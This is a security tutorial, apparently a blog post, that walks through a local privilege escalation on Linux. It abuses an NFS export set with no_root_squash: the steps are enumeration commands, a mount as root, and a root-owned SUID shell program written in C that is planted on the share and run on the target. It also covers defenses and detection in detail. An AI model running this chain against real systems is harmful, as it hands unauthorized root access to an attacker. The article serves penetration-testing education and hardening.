Abusing NFS no_root_squash for Local Privilege Escalation

Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction / Overview

Network File System (NFS) is one of those services that quietly survives on internal networks for decades. It is fast, simple, and — when misconfigured — a reliable path from a low-privileged shell to root. The single most dangerous export option you will encounter in the wild is no_root_squash.

In this article you will learn how NFS maps user identities across the wire, why no_root_squash breaks the security model, and how to chain it into a clean local privilege escalation by planting a root-owned SUID binary. We will also spend equal time on the blue-team side, because the fix is trivial and there is no excuse for shipping it.

This is a classic OSCP-style escalation and a recurring finding in real engagements, mapping loosely to MITRE ATT&CK T1574 (Hijack Execution Flow) and T1068 (Exploitation for Privilege Escalation).

How It Works / Background

NFS authorizes file access based on UID and GID, not on a username or password. When a client mounts an export and a process with UID 1000 writes a file, the server stores that file as owned by UID 1000. Identity is trusted, not verified — this is why NFS is normally confined to trusted networks.

The critical detail is what happens when the client acts as root (UID 0). By default the NFS server applies root squashing (root_squash): any request arriving with UID 0 is remapped to an unprivileged, anonymous user (nobody, typically UID 65534). This prevents a client root from trivially owning every file on the export.

The no_root_squash option disables that protection. With it set, a client connecting as UID 0 is treated as UID 0 on the server filesystem. If you are root on any machine that can mount the export — including a VM or container you fully control — you can create files owned by root on the server's disk. Combine that with the SUID bit and you have a root escalation primitive.

A reminder on SUID: when the set-user-ID bit is present on an executable, the process runs with the file owner's effective UID rather than the caller's. A root-owned binary with the SUID bit set runs as root no matter who executes it.

Prerequisites / Lab Setup

To reproduce this you need:

  • A target host running nfs-kernel-server with a writable export configured with no_root_squash.
  • An attacker machine where you have root (your own box, a Kali VM, or a container).
  • Network reachability to the NFS ports: rpcbind on 111 and mountd/nfsd (often 2049).
  • A foothold: ideally a low-priv shell on the target, but for the SUID trick you only need to be able to mount the share.

A minimal vulnerable /etc/exports on the target looks like this:

# /etc/exports on the target (vulnerable)
/srv/share   *(rw,sync,no_root_squash,no_subtree_check)
Bash

Apply it and (re)export:

exportfs -ra
systemctl restart nfs-kernel-server
Bash

Attack Walkthrough / PoC

Step 1 — Enumerate exports

From the attacker box, use showmount to list exports and the hosts allowed to mount them:

# List exported directories and their allowed clients
showmount -e 10.10.10.50

# Export list for 10.10.10.50:
# /srv/share *
Bash

If showmount is filtered, you can still query rpcbind directly:

rpcinfo -p 10.10.10.50
nmap -p 111,2049 --script nfs-showmount,nfs-ls 10.10.10.50
Bash

The * (or a permissive CIDR) plus the absence of an obvious squash hint is your cue to dig deeper. You cannot read /etc/exports remotely, so confirm no_root_squash empirically in the next step.

Step 2 — Mount the export as root

On the attacker machine (where you are root), mount the share:

mkdir -p /mnt/nfs
mount -t nfs -o vers=3 10.10.10.50:/srv/share /mnt/nfs
Bash

Now test the squash behaviour. Create a file and inspect its server-side ownership:

touch /mnt/nfs/squash_test
ls -l /mnt/nfs/squash_test
Bash

If the file is owned by root:root, no_root_squash is in effect. If it is owned by nobody/nogroup (UID 65534), root squashing is active and this attack will not work.

Note: NFSv4 with proper idmapd/Kerberos (sec=krb5) changes the identity model. This UID-trust attack targets sec=sys (AUTH_SYS), which is still the overwhelming default on internal networks.

Step 3 — Plant a root SUID binary

Write a tiny C program that spawns a shell while preserving the root UID:

// shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", (char *)NULL);
    return 0;
}
C

Compile it on the attacker box, drop it onto the share, and set ownership and the SUID bit — all of which the server will honor because you are root over NFS:

gcc -static -o /mnt/nfs/rootshell shell.c
chown root:root /mnt/nfs/rootshell
chmod 4755 /mnt/nfs/rootshell
ls -l /mnt/nfs/rootshell
# -rwsr-xr-x 1 root root ... /mnt/nfs/rootshell
Bash

The s in the permission string confirms the SUID bit is set and owned by root.

Tip: statically compile (-static) so the binary does not depend on the target's shared libraries or glibc version. Architectures must match — compile for the target's CPU.

Step 4 — Execute on the target

Switch to your low-privileged shell on the target host. The file now sits inside /srv/share owned by root with SUID set. Run it with bash -p so bash does not drop the elevated privileges:

# On the target, as the low-priv user
cd /srv/share
./rootshell
id
# uid=1000(lowpriv) gid=1000(lowpriv) euid=0(root) groups=...
Bash

The effective UID is now 0. You have a root shell. From here you would establish persistence or pivot per your rules of engagement.

Mermaid Diagram

Abusing NFS no_root_squash for Local Privilege Escalation diagram 1

The diagram shows the path from enumeration through mounting as root, planting a root-owned SUID binary, and executing it on the target to gain euid=0.

Detection & Defense (Blue Team)

The defensive story here is short because the misconfiguration is binary: you either have no_root_squash or you do not.

1. Remove no_root_squash from every export. Audit /etc/exports and any files under /etc/exports.d/. Root squashing is the default, so the safest export simply omits the option:

# Safe export
/srv/share   192.168.10.0/24(rw,sync,root_squash,no_subtree_check)
Bash

Re-apply with exportfs -ra and verify active exports with exportfs -v (which prints the effective options per export).

2. Restrict client scope. Never export to *. Pin exports to specific hosts or tight CIDRs so an attacker cannot mount from an arbitrary box.

3. Mount with nosuid and noexec where practical. Even if squashing is misconfigured, clients can refuse to honor SUID bits. On the consuming side, add nosuid (and ideally noexec) in /etc/fstab or autofs maps. On the export side, consider exporting with options that limit damage and keep data shares non-executable.

4. Prefer NFSv4 with Kerberos. Use sec=krb5 (or krb5i/krb5p) instead of sec=sys. This replaces blind UID trust with cryptographic authentication and integrity, neutralizing identity-spoofing attacks entirely.

5. Hunt for the indicators.

  • Detect newly created root-owned SUID files: find / -xdev -perm -4000 -user root -type f -newermt '-7 days' 2>/dev/null. Baseline your SUID inventory and alert on diffs.
  • Watch NFS server logs and rpc.mountd for mounts from unexpected source addresses.
  • Use auditd to flag chmod/chown of files to mode 4xxx owned by UID 0 on exported paths.

6. Network controls. Firewall ports 111 and 2049 so NFS is only reachable from authorized subnets. This single control collapses the attack surface dramatically.

For broader Linux escalation hunting, see Linux SUID and capability abuse and the methodology in Linux privilege escalation enumeration. If you are also assessing Windows shares, compare with SMB share misconfiguration abuse.

Conclusion

no_root_squash is a one-word misconfiguration that hands an attacker root. The exploit chain is short — enumerate with showmount, mount as root, plant a SUID binary, execute on the target — and it requires no exploit code, no CVE, and no zero-day. That makes it both a favorite on certification exams and a depressingly common real-world finding.

For defenders the lesson is equally simple: keep the default root_squash, scope exports tightly, mount with nosuid, and move to Kerberos-authenticated NFSv4. Audit exportfs -v today; it takes thirty seconds and closes a guaranteed root path.

References

Comments

Copied title and URL